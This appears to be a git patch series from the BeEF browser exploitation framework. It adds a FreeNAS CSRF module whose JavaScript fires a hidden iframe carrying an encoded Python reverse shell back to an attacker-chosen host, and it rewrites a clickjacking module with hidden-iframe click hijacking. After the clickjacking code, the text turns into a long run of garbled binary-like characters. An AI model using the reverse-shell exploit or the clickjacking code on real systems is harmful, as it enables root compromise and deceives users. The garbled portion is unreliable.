wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var rhost = '<%= @rhost %>'; + var rport = '<%= @rport %>'; + var lhost = '<%= @lhost %>'; + var lport = '<%= @lport %>'; + var sid = Math.floor(Math.random()*1000)+1; + + var freenas_add_user_iframe = beef.dom.createInvisibleIframe(); + freenas_add_user_iframe.setAttribute('src', 'http://'+rhost+':'+rport+'/system/terminal/?s='+sid+'&k=%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%68%6f%73%74%3d%5c%22'+lhost+'%5c%22%3b%70%6f%72%74%3d'+lport+'%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%68%6f%73%74%2c%70%6f%72%74%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%5c%22%2f%62%69%6e%2f%73%68%5c%22%2c%5c%22%2d%69%5c%22%5d%29%3b%22%0d'); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(freenas_add_user_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml b/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml new file mode 100644 index 000000000..012b7f74f --- /dev/null +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml @@ -0,0 +1,28 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +################################################################################ +# For more information see: http://support.freenas.org/ticket/1788 +################################################################################ +beef: + module: + freenas_reverse_root_shell_csrf: + enable: true + category: ["Exploits", "NAS"] + name: "FreeNAS Reverse Root Shell CSRF" + description: "Attempts to get a reverse root shell on a FreeNAS server.
Tested on version 8.2.0 however other versions are likely to be vulnerable." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb new file mode 100644 index 000000000..edc0805c5 --- /dev/null +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb @@ -0,0 +1,37 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +################################################################################ +# For more information see: http://support.freenas.org/ticket/1788 +################################################################################ +class Freenas_reverse_root_shell_csrf < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + lhost = "#{configuration.get("beef.http.host")}" + lhost = "" if lhost == "0.0.0.0" + return [ + { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1'}, + { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, + { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost}, + { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444'}, + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 19b1baee43f7230a91300596f2e078280a765176 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Mon, 10 Sep 2012 21:19:41 +1000 Subject: [PATCH 141/225] Version updated --- VERSION | 2 +- config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index ea837d9ad..c01c6178d 100644 --- a/VERSION +++ b/VERSION @@ -14,4 +14,4 @@ # limitations under the License. # -0.4.3.7-alpha +0.4.3.8-alpha diff --git a/config.yaml b/config.yaml index 29bf0fef2..06b0b361a 100644 --- a/config.yaml +++ b/config.yaml @@ -16,7 +16,7 @@ # BeEF Configuration file beef: - version: '0.4.3.7-alpha' + version: '0.4.3.8-alpha' debug: false restrictions: From cef72c95188316d1618b2e60bc9b1c0904df1dd2 Mon Sep 17 00:00:00 2001 From: Rich Lundeen Date: Mon, 10 Sep 2012 14:25:46 -0700 Subject: [PATCH 142/225] Improved Clickjacking Module Rewrite of bcole's module. Adds support for multiple clicks, Javascript event feedback, some basic framebusting evasion, and IE support --- extensions/demos/html/clickjack.html | 4 - .../html/clickjacking/clickjack_attack.html | 174 ++++++++++++++++ .../html/clickjacking/clickjack_victim.html | 9 + .../clickjacking/command.js | 196 +++++++++++------- .../clickjacking/config.yaml | 10 +- .../social_engineering/clickjacking/module.rb | 67 ++++-- 6 files changed, 365 insertions(+), 95 deletions(-) delete mode 100644 extensions/demos/html/clickjack.html create mode 100644 extensions/demos/html/clickjacking/clickjack_attack.html create mode 100644 extensions/demos/html/clickjacking/clickjack_victim.html diff --git a/extensions/demos/html/clickjack.html b/extensions/demos/html/clickjack.html deleted file mode 100644 index 486fe35b0..000000000 --- a/extensions/demos/html/clickjack.html +++ /dev/null @@ -1,4 +0,0 @@ -

 

-
moooooooo -

 

- diff --git a/extensions/demos/html/clickjacking/clickjack_attack.html b/extensions/demos/html/clickjacking/clickjack_attack.html new file mode 100644 index 000000000..9b09b4275 --- /dev/null +++ b/extensions/demos/html/clickjacking/clickjack_attack.html @@ -0,0 +1,174 @@ + + + + + + You have been p0wned + + + + + + + + + + +
+
+
+

Name That Quote

+
You are a sad strange little man, and you have my pity.
+
+ Who said it? + Buzz Lightyear, Toy Story +
+ Another Quote +
+
+
+ + +
+
+

Click-thru

+

You must click here to get to the page.

+ Okay + No Thanks +
+
+ + + + + diff --git a/extensions/demos/html/clickjacking/clickjack_victim.html b/extensions/demos/html/clickjacking/clickjack_victim.html new file mode 100644 index 000000000..4eea6cda1 --- /dev/null +++ b/extensions/demos/html/clickjacking/clickjack_victim.html @@ -0,0 +1,9 @@ + + + +

 

+moooooooo +

 

+moooooooo + + diff --git a/modules/social_engineering/clickjacking/command.js b/modules/social_engineering/clickjacking/command.js index 70985c019..d3ce04af4 100644 --- a/modules/social_engineering/clickjacking/command.js +++ b/modules/social_engineering/clickjacking/command.js @@ -1,6 +1,4 @@ // -// Copyright 2012 Wade Alcorn wade@bindshell.net -// // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at @@ -14,79 +12,133 @@ // limitations under the License. // beef.execute(function() { - - var offset_top = "<%= @offset_top %>"; - var offset_left = "<%= @offset_left %>"; - var url = "<%= @url %>"; - var debug = <%= @debug %>; - - if (debug) opacity = 10; else opacity = 0; - - // create container - var cjcontainer = document.createElement('div'); - cjcontainer.id = "cjcontainer"; - cjcontainer.setAttribute("style", "-moz-opacity:"+opacity); - cjcontainer.style.zIndex = 999; - cjcontainer.style.border = "none"; - cjcontainer.style.width = "30px"; - cjcontainer.style.height = "20px"; - cjcontainer.style.overflow = "hidden"; - cjcontainer.style.position = "absolute"; - cjcontainer.style.opacity = opacity; - cjcontainer.style.filter = "alpha(opacity="+opacity+")"; - cjcontainer.style.cursor = "default"; - document.body.appendChild(cjcontainer); - - // create iframe - var cjiframe = document.createElement('iframe'); - cjiframe.id = "cjiframe"; - cjiframe.src = url; - cjiframe.scrolling = "no"; - cjiframe.frameBorder = "0"; - cjiframe.allowTransparency = "true"; - cjiframe.style.overflow = "hidden"; - cjiframe.style.position = "absolute"; - cjiframe.style.top = offset_top+"px"; - cjiframe.style.left = offset_left+"px"; - cjiframe.style.width = "200px"; - cjiframe.style.height = "100px"; - cjiframe.style.border = "none"; - cjiframe.style.cursor = "default"; - cjcontainer.appendChild(cjiframe); - - // followmouse code by rsnake - // http://ha.ckers.org/weird/followmouse.html - // modified by bcoles - function followmouse(e){ - - var xcoord = 0; - var ycoord = 0; - var gettrailobj = function() { - if (document.getElementById) - return document.getElementById("cjcontainer").style; - else if (document.all) - return document.all.container.style; - } - if (typeof e != "undefined") { - xcoord += e.pageX - 10; - ycoord += e.pageY - 15; - } else if (typeof window.event != "undefined") { - xcoord += document.body.scrollLeft + event.clientX; - ycoord += document.body.scrollTop + event.clientY; - } - var docwidth = document.all ? document.body.scrollLeft + document.body.clientWidth : pageXOffset+window.innerWidth - 15; - var docheight = document.all ? Math.max(document.body.scrollHeight, document.body.clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight) - gettrailobj().left = xcoord + "px"; - gettrailobj().top = ycoord + "px"; + var elems = { + outerFrame: "cjFrame", + innerFrame: "innerFrame", + btn: "persistentFocusBtn" } - // hook to mousemove event - if (window.addEventListener) { - window.addEventListener('mousemove', followmouse, false); - } else if (window.attachEvent) { - window.attachEvent('mousemove', followmouse); + var clicked = 0; + var src = "<%= @iFrameSrc %>"; + var secZone = "<%= @iFrameSecurityZone %>"; + var sandbox = "<%= @iFrameSandbox %>"; + var visibility = "<%= @iFrameVisibility %>"; + + var clicks = [ + {js:"<%= URI.escape(@clickaction_1) %>", posTop:cleanPos("<%= @iFrameTop_1 %>"), posLeft:cleanPos("<%= @iFrameLeft_1 %>")}, + {js:"<%= URI.escape(@clickaction_2) %>", posTop:cleanPos("<%= @iFrameTop_2 %>"), posLeft:cleanPos("<%= @iFrameLeft_2 %>")}, + {js:"<%= URI.escape(@clickaction_3) %>", posTop:cleanPos("<%= @iFrameTop_3 %>"), posLeft:cleanPos("<%= @iFrameLeft_3 %>")}, + {js:"<%= URI.escape(@clickaction_4) %>", posTop:cleanPos("<%= @iFrameTop_4 %>"), posLeft:cleanPos("<%= @iFrameLeft_4 %>")}, + {js:"<%= URI.escape(@clickaction_5) %>", posTop:cleanPos("<%= @iFrameTop_5 %>"), posLeft:cleanPos("<%= @iFrameLeft_5 %>")}, + {js:"<%= URI.escape(@clickaction_6) %>", posTop:cleanPos("<%= @iFrameTop_6 %>"), posLeft:cleanPos("<%= @iFrameLeft_6 %>")}, + {js:"<%= URI.escape(@clickaction_7) %>", posTop:cleanPos("<%= @iFrameTop_7 %>"), posLeft:cleanPos("<%= @iFrameLeft_7 %>")}, + {js:"<%= URI.escape(@clickaction_8) %>", posTop:cleanPos("<%= @iFrameTop_8 %>"), posLeft:cleanPos("<%= @iFrameLeft_8 %>")}, + {js:"void(0);", posTop:'-', posLeft:'-'} + ] + + var iframeAttrs = {}; + iframeAttrs.src = src; + (secZone == "on") ? iframeAttrs.security = "restricted" : ""; + (sandbox == "on") ? iframeAttrs.sandbox = "allow-forms" : ""; + + var iframeStyles = {}; + iframeStyles.width = "<%= @iFrameWidth %>px"; + iframeStyles.height = "<%= @iFrameHeight %>px"; + iframeStyles.opacity = (visibility == "on") ? "0.6" : "0.0"; + iframeStyles.filter = (visibility == "on") ? "alpha(opacity=60)" : "alpha(opacity=0)"; + + var innerPos = {}; + //initialize iframe + innerPos.top = clicks[0].posTop + "px"; + innerPos.left = clicks[0].posLeft + "px"; + + //returns a negative version of a number, or if NaN returns a dash + function cleanPos(coordinate) { + var iCoordinate = parseInt(coordinate); + if (isNaN(iCoordinate)) + return "-"; + else if (iCoordinate > 0) + return (-1 * iCoordinate) + return iCoordinate } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'clickjack=hooked mousemove event'); + function init(params, styles, stylesInner, callback) { + var container = $j.extend(true, {'border':'none', 'position':'absolute', 'z-index':'100000', 'overflow':'hidden'}, styles); + var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner); + var containerDiv = $j('
').css(container).prependTo('body'); + var containerDiv = $j('').appendTo('body'); + + var innerIframe = $j('

2`a& zySu^}AiLHGvtbv|Bf6AsDAx-~9Q&+GC^4iwU}lsqNb50$`r+R9QRB$w&$~3N6RK&h z^l^ks=fN3uS$eo0UT5h|bu<|t!w&BF44QIqq6M{+61msutcK6LytZ-WnU`K1j0YF? zc1<=q*txg!;DM3F$Y+=yGN>!CpsjYh#YDf`TI#oY-53JaFa}7~PdckU4^^oqvx)B^ zTTdB@EJQzWgZH8ULQCTNG+?9`MpBVHSAeplQ4o4Wz7Jsw`~xD}O6F16Y9$@cgFG+9 zybJ7zh~a3JWX^sxC+4#nLyszy)RoQX6KU#?5z9CMv3Zi|@&2^wR$pxEn0H6n*rv{} z*?-_LVdCn{fLBQcvi9O$1Tv4KrEEtK`uh;1MnTX6 zarRoEU7c1t^y0|xfaqWoR#nkV1eZ8UL}0T54%w_E<0JszTGDna(Y!1W(UjCE!F(x= zz(`2UW*Ka;JS$*}7^5bWAq1&{`q4u30pS)3Ih8~rpwWxY>!+gb`D8oCH3@4|rwwP#o%4Knr&1x+3tTVmBk-#hUMu)4feAi{U)1Y#E{;VHww4R0`jcq?h@z1F#GGKjMFCTP9KVZ9!16ekU4aZ zq162G}Y`3$c-?)qW#^VX>pC}4PqalP=OUui``3I_``wpI! zt6r>yHnXbcgW~I_7UyG|AJY`opR9#F8lG}0uSp;r)X3jsGzdd(?5GN4+_6rtbFgzC zV&iUWEdiX8?ia(cnx!6|y@AJ=L`mck?iqsBFA#+XI)O1|g>vCx=)V5 zn1K=uH$y$b2|gJI-FjXGv1ZVlrP*{^fW9ijd`^ojh3g7Ek>}ar{+^9qgh$HK6}$s2 zEpT+&Ss5d>*2gOmb0k#9bc=&D9@=vBXo|^?MpgL{!WJtqZmWdzi9POs1#TYVNo(7V z#Vr7r0riwsY=xd_dN>F(Wq3|Ru9c5oMLM} zTw13%D<4)0W6p!Ss`%sYnEGm|9b)Esk!&BAo1){=i;f3t11;xb>kt5Zpgqe-U@-;3 zO9fJ{3V^L3t<|$@gS{IjEn86>3j0PlC<2Sr@N$uawqHt`QlX?3m|6xBF&bhbsj7lt zsm5Lyma^d=fPDgxOgqt&G@oHP$L0X@JcvUGV_6*dQe*&^1afPNA_HHJ(~E7M{YVU$ zaGpq5FqX)jE2a=T7KDP4HreNPQfj z({AL%8_X60LW1y+hkmc!EvK0&D)5~EYs0{Y*xrj0t1T#dfk#;3X^`-_MV_gu#Kb9< zvhh$dT@__I1#rwzOAEt5>Y%a87c36_b`W%eAkd(;@D4>jn?eYyWd*wHd3328_B#Pr zg-%Dbm{}ba0jUWZ)VJY^6M+q0v`eF!dWHrfd8*CAFdRdUO};fBhE5+o2lK7*)#>!1bqe@g(sg;x(x9sUO$ASwHR3l(GX%-ZHM!5 zN6~1oERwvBX>CLDRL6Nhk0Ae@l8ZYfq7L*N#l%kS)em7L{g^8}$TO!Wa4$WUK4!JE zX!t64@}HY6NpKn^^4$Tp=D8fsL_gUd?M??Cd6{5HJg%2W@cpx zE;sQ+H{wpB;e5S(Et}~X4U3_ncP>&d7gY0@=UW_KZOn-fp{B$hr)$>#&)gY?&5!^9 z5RXwI_$cEdLn!&d*1yU#TFyq>dxPCOaypK*6f}~oBtqE+7R6Dk#XQ@FY6`MrXqVvE z@H1zK&TvR7MG7@`x4=e$(1WqSN3a_Kv_^bH3kY`d>g;HCdv|ANIveHHq>z3Pb%a-$ zDdi-fsv8+AQ3y$!n~xNGb~NqSuVZh zX6-)$?0N0Z>HS|~Tx1$D6k-|k@To73e|WIBlaB{F-iF$R32ENaG1T(G8K zXwAZ8V#e*EWcJ_P&TZamp;HC;e)+QVyc;0I%LpcP-j#2gP??AGbs0o{(jsVO+%cD&+KRV3Y|S*$ zM9pxT566CDB}6~S@cc_R;)UAIGe@N5Nb?d3=lr4)fiJXvw%*$Fcn1BYF4Hu!N&SjR z3SLwPbXGAXA)qugQs5em1ffx7J*zJ&1k3OlSVjY>AuF5uSdZmeP%f3Rd=_r(U`8Lw zVV;FE3ahrvgDdNI+s~ZG7cjLooJ___XVN6XU+pZftt3`Q?Mb_?ej;o>Xwk0X;T!hI zN`PT=G-P#`n*|*`1&ikM#%=32ZcXkQRqf%EKD;OA;Lb6=CRh*VD0(53EIioV@Bw+o z8roCYR1ZFkDE-3^EM(Np-Pe|_Oq#5=g-%vanHzpHpQJ|{e$(>$#{PTn!UhyUsK!Ga z>`VepCH_C`25p;EDCYbul?lIwCj_D*Nu;crVU|e!#ASB%088Y8E8>V~;5sTHJUl21 zY1xQm1S6f6|IAaHR2AG5Jjb-Y%vJ0~{ob0BXuJs7=gD|ud!y=;y%&c*J}gu@G5fgY zM^k>}KB-51ExC`G!SK1GPUazZU1#m7-0vlf0^ApuW zXqeW=vmXI3S(++FZSG(Tdfc1TtKtsrJN~tCSMwnBI-O#g1yKSfNM;3(1uZCqmW*Og zxW+`F#-NiT>kbb*2U%iDmSNARJ>A|OzUgL?x)aN_?JdMblwhw=4Y1ZN&{|-60JezF zP2!Qwl|&aUZr-9~n$ z!GdYZT;vWi&rd|V)fJD_R8!?F1FL#Vu(P;~ z1iLyV_6x$B83EA?wyDuTmZdHvY;29oB{*S4Q8IhPs_ps3GzRyqZ3L6%*=fTTZ4jly zkglw(z#b6%FwSK)8>ezaVllV6C*u0Xy6O`Lt=MODvouHL@DoHmJoQy`509V?f~+V( z;ilum@n{FW2FLZ0~2@-;rL)1qj{#6 zmR8o**L(eycDrj`jkD=4#ludh*W(}`JCw5FnTAxOBlG;x5su%SWB%0@bzlPCz**VblfsYtfDvIHg|omzG$jXIPrbb~GoVQ5GU zhRzMIIg+fc&YYh3Z=V-n)my?gqpMjy92|7o-NW4n?|<;sJ9qA_EMK~G@zR|;Z%;=L zR+i5^`_x%dX5-<`F04x+B9B+asLBrxv*F6}IUA)`W$N9(lV@2eF8EQ>GScQBnM+C1 zhW7QusRsLfo5M&Jw?)&7M^B$WG~c_*26nQ7=#)u~H5Kb=Kswe?Q*2AK)L4yRh@-M% z*1gbxmAHpl3it(PdR_L7*))_he4ve7dc*-<#HW^G0-%^XdyhFncpdB*)9$ojH+UkL zOwuAxYaM0esHW7M*icJ!J^`CHgIGy3J!3x6QDcr3EG(Xu4&fK~6OqJVA&TMt^zgwf z&$PD|_t($+q~8T#{gtcleyf_?_2cE8``cT$@2{+%>2!MKtPHr=zH?2dqrHQ@s;W2- zjNXppC`p3x-~c({T8V(KpE(8Yu_U+T7R6XKwa_G&TA3jT9})IM&=Vi>d7JV z7}*{PUsq+UQrE!PPW(ZIlcd5f6bU&iB6g)jK!ejg!sK zfALq6)n(4&7hd^vuV;qCp*Gd!%bSCPgPrYbS+@MtQ&(i3?e1<*4)=v00*1=U48C@| zlcZ^prFo~-nT>|`Z{sN?Pe1h>t*7HIvQwUb&{C&CoIu#I17jTiG&X2BV&G602GHhg zY-%~C7=@Iw3c|SZ0`xZgr~evCXLmtg?cT*Bv76}(-? zsElxZJkG4YQhnH1c~PA7gSaJ&;&Auc?#|t{^)s6n&I&fkhvRSj;cvIj zJacCK?CM&JMyv9$=qJ66rT%Wx6D&ycd_3M2qFm~=uD*9Ih~u^OP573h!$bHo!i&1C zR-UHtA@H^DX|>$n=yv<_Ny~+jv3nyR)UGdGywRM(YVO7X_n8XGwc%MfVX@AhMq7>{T`So zW_;9NMzbPCA}6)IsM>yrgiS-*?cUCGPs$u%OUby?T@$bE79jU-o5D_9rpmNGLr+@+IkHQl;jOqW;IzVWAD9p1myPP)T!`u_J{ zfBMRmXRchxD#5cNlPs-t7=_@~i*yWoyWelEZ!8@g3}u-O24k?ev(Y#!26AN$@P4b3 zYwN2J)Ze`J{&Ua06m|OOv@qyV^XTfa%CRm+t9xDQqFh5oamQuU0@iMr8sbriI&8yP zJyOJaa&&1`IvsgQ$f8isJf#9y=seGa$2D^N46pDIR*1cc^_&s_Pf-oW!|7~PO2CW? z1es;I4Nqv4MBPryO{wt%<_EAjN{+-|QenG9XfO`JkOr?nnIe~P0mjG}yeSbYE9YezdXlS)CZwziS{C(mTFbuYCJ00)j9Uu3nD?{k*685y=GFU( zi`QQJnZNlr|JG#x-gvm5D>4|4-uTwn_P5S;+pUb5u+=Tn*}>ipSRd@E17FYmb7wAe z+uc0N`<$2<14*iHg%o0aZdzdF8mE1ez~l21kh4we++kt{PZZ+kH|0fIp- z3tP+$Ct1F;vo{&diYm?WsjM=kD$E4=e!G>dbXyRG2T>rvlp3(YmE}38RuY2lfCw@4 z@w~D`YK#~7%6eQ|e=>2@?kq#_-VI#;DC#H=A&>wo4obPC3y5|QdN=Hanzev5HPmwi z45AQjQ)6Zylr#v|Rti>Bhg)j84?rwAf8{f4=hMmI?(SAAp#EyFs76&f{N(eSXO_ep zZ+w5W$HA5^Ew8|i9UbgKgatth_)cj`U$B0XOpPkIF4Ds=id!8Y^ML?=Get)Uk>2#tPf`cfYPSfFVlBOwKVc1HRx?SJ%F@LWs&*!C_Vz&xX!#wb~APY34 zzTZt+1dC}}meX3IUS|bKh1OMc?7=Cf9^!~d$VKxuWiGMz4R9qmVq#B)1*4}(+*yW? zuS~@~KWz6!qF@uw@(Ga>nIGJ`yZ!zn-&<=QsL=l4+LhJ-7-><8#!_ zGOGfwjb4JI3H3b)S#&m;RYlqAbh_QOTq51ub_5Ywlwg!@y!U3e(_6oE1sfAM{SbcG zqiSjmbZt8MoA&@P(n%uNTkEaFO)>!g7lytUV%gcni~w9NU%v9q55B!~_a=PzcRsj1 z*dO-;(F&;mL|2igE}X?FVnuO(cc(DbxGM4rDTTgA;~+V^dgkKBnQkkILLW5ca58!G zowv#|>vp=!{a(M{kCHIJG`+ws2_r%Gi*zXbNQgvg&pHhVRx9`)ghP0&D1k>=OEg?s zZ-%Sdwsy>A;&;X4l)*)TXwj`}hAuzH3~x?h*|C`hc7qoM{bhHq1I2+Yv+X-qhr9dh zt1Ibb|J^sfUF2g<%L`|hz{ksq92^|LKJE2e-CjGQ`rrVt4-3LJSPU>Zk&oGFzyZql zVgLye^C?W`q{@2jWyZh+d9XV%+fqVQF#X`2*W0~b)Ll`OEtF&3;Ic=xFg2-=N1vVt zo3#b29{R_Mvb3q?+Rp+r_|m6d((;$T_9eN0=h~T8cO!_#(^RVzu=-$-Z7x?!?fBJ~ zp55QuIUMed({y*3PYW6(%j40E8F<0~X3DA(L+dODQ}pa}mp9KXgM_dhUwgs}sV&w} zRiYX5+eQQsvoH^nqq0mb-Y>ACVdu1C?$=#vyu2O;5v){c%DPY89s=u#obEidCbPiM zBdfyAdnbOorhl#)uAQ0k4DvBfSrFj;Boq?Ssry|5SBM#%7 z5I`2-HKvoDx8D5rXI}dv#R`udn_zI5A_NW`4H2IYDX%kl^U)EDhy2k~Cm>_)o>F$K zsS#iywnv=vWUt?q8P zyLG=z^QxEytS5bMI35i~V~AWl?wwg#yL4&u+{KM{&j&2x2Qjj{!x&vdnUzHj?jBrB zAUuU-@Bo<(4CjtPM1-B*GQ|`+wlI5*L|4zX`^#mXlGy|tJ6#+Oc>Kg=tgtK9>$ltY zx9{D)_Wq?8m!%T0S2RF3iL>}T50j_Jn6+isMt@avMv>z?V}_;4)E{fVI3n$mMUk62 zSjYDe?l0QyM4Ug{Ui~{ivwcua(wQy-)=r|ejb~pOUH>knGM{nyUWn2OwyKmS1!TM4 zUGhVmIMqw~-Ci$V4#AA$h$0?yxONg?+(|&*lmI-#aGxv7eW=q0%x7SJ(*oY#j)<&~ zJ3$*A^*hU*c5mhhKp$0^u?q83M$|(A7fxSxBaykrW|}CgFvo14#jH`(>iWyw>A}|5 zzV!QN&tCfcKls`Go8Q0w&iAIHfhU4iYt`d1N(>wz^>92P_WUDY!#G%$U=w`owG7ba zYjD`;v%x+<=ndBrgrU%+fEQM25JvEoSJ&1i<4Ki+W0JdfudSTB71!>gZV5a+MS+JpXy}7 zxJ?uKw}1T~beY`R|A60{W=os?N>AKmLL2*H5w_cBeXre{=7lRSfBN#(H@|-K z?RR)pbz5iP+i(ckf<$0-5Hp^vnL(sohdUx`q`pzBE?NUfM+oNET{ubr$PYc=hwoNE z;N~&U3qT9b%<^J1p6qSk+PQn}>Gnnm078~U3Gp!_;0go;JwCJD%QZ)gN&{O}V_0X$ z-h!NvUujeGb#VjsEW{N>QC66Ak@b=0R8g>dQ75n@N)Fmk&!4k7M0g(v6gYe3-}!~| zTjl*bZ)~1D3$i)H;t1h^2%-?ag=TyuYGe>&N*UBmf^9{SW zLqVe6DXzTT;n<)RfXjwm+inBsPONVQ?~2+zJ=onmeb!Ty0iDKDOVdb+Z=e(pSu#bG$~ z1OhGr!K@KVVQAZGw}fa5aIYNzKDni;L>xP5n2+*Of$%|R5M0O#Z3DQb3bc=wWgaDw zpuW_!%qu*R2V2&po0Wl@%FK~Od3Txa-nD6ZvP#O^G%>UuFV?WxoQA?T27x9#NRs}l ztqy=%fr-zuV$@phSJUzRYv0Qb2c5X*c`+bi&?bnbEW5%(Pt09j!quwX)H=L@Yq2@A zdNMB(DgfCiRw=NY0kQTE$IyBK#NP}oayo(4Njg2)+90yYEZ^U`-+$^w2y;DHi_q5q zRec-{WNYrKJ_v*OwulC52wo5erXr6TKabmFDyvH$BrH{SFe~m24yRzDJsyPz$}@_ytq|x{3a(gCPZjwA7k&8Neh_Lr;sXA&6jVuJ z6Cgf0ip{#KO&W}>k&+%8tTCr!*pUR>=MWY}F~G4p_h5(u2+nXT?Qh)&gO$VyU^DZVSK+#j1jCg|;&nh1nkVE^D-gJAkHrCx?l3QX51iKTg^8TJO<+2D>JnThVKZfqp7bbhD7tmyv5Eq z*05ASnWDH=VuK3yIb`XKDT6y5Yv7oIPy9rsa&kCkA_v^#iW?&I0sNO(jAM2hD&}%Q zlsLLBPpzAhmS4cp^a==XDnVdN=LLdXEbbPF7?tBqF6d}`$#sjedRCR)GPY~IX=_BU zXBki$%kV*Dm8`O@mD9;!KOY}*PX{f3_k&%Zg1t@9vLn;kk-BYt(aurCq^ZSlnl__5 zj2oYh$w#7_b7X8008AciPtat>)TFwWpYe)Gv(TaRxlIv_?0y9VK3$%Q;VDC~8s(Ya9xx zX506DFCcje>jPibvy4L=7pGV@&PrK9)Lo3nd@@*E9;-FHQW4n)vypG_0R^>kUXFtx0Jg9Oiq|70(^wPVd4lqs-hkvH8?Yafv?utbU&XS47aX!yM30W0S`68R6CUz(?gp1 zq8)|sS{jOj*>G#`ppezZ*>l}q3rsOYY($k_SHDQF3S zQrPb?053R%l1f_)q>ce>e8;#o7Ju7Pv*iL93xKsH!)Z6d&VD3tX5T33FqO4&5 zV)48Lkpd(_<|on|d}fbHDzZr!i(tQ)#1EC}|f>!5PeV@+KxPzrMx7$#;#(g|RV1@kJZY*byr#=%|@ zvM-_s)5Co)K5tpu5`F0@opf|_ZTkkPbtLl+HP={3?XXU5yK;qfZhAht^kEZOXd~^U z-)&#GFnV{$l_;uNMKWeVgv~MuJGlXQowCZb%JWhlj*GCf%Hxg?Z(e2N(JTsF(Uw-o z%!Th%D3fa(ZBBdx4h1WYC}SL`F%}{$%c)Uq=DK06w>b8Ny_K`{-Ze*~I#03(B-D=A zGH+$D-xusHc68Y3+@OH1Ry*h|!S_}SzyrQ3TrB7>NZVlEN4gN)Wr%SXNK?~}0k?t} zjKeyH)pMt8Va)M_jhzkEoa_Y(2^Wry^Rk4CfTuh^C}&bYXklwL>1@FLyMwI{+G}gr zdTI2BHnxz(z8!jM2IG)tcynA>5Ff(V@mkuTcXl*+Q;ia=OVKls@vw5CyljGp&R=cfPgt;_1CdG7m z_<+m8_SPXlwZR>O%b|5`#ErE!_T(BQC_7(=)H5|dhOM5aK2O{s>sN3b>CVCa5IhD$ zkP7fckfgJWA_*1`OX)o+5Idd}6Dr6issJyHCaq4(^Q@*5OUak;i5|Ez>puOW!ZTuy>*(^PBLX(8W?mLEmT$;j8wD9;m+-9I>6>@@Eg)@4#W$VA&!j2I`VT62Lxe1IQBImzHphC4gG?mC2q zPWc|rQ)x!L)buk~#y&bh&A3)e%>3KAxDE=i`iwul*k@PA)DT%(B4Cz}duzSJomM`W zi2!z9R%KaQ;5k1xA8g;-8|H)uo#j^4>-Ks90xH;=JO@oI3x-K~2x85wDt$yoIOizv zJzsQ2a*TOCAEAlB9wCaQGCIZiIRwvrD#3ac<#8Qd+BnwlJkQWCbl)MX9U@6TJSsKW zW)WEC>A_Ap9T7X6#qyM-Zss3havz;x({)R0Ry%V+k=6?>Z%B-`EzG&T{^i9T0bS<$54 z#?rO;xX~0w*HmVDba)WQ^k;SR`t`Ht&ct!7t77}+yHz=5o!02?t=23nv%zFME($dm zO%KLXa945E>UEdfQ6~zJD*}s}+o_P)>Mf^1BrJ!XWO?37{4nrAKYRo^w5lYAfk@_1 zF5ok&V5-C%szpqUkP{N!oHMGiRz&7)`L%VzdO8Qa30q0w)Z?(r 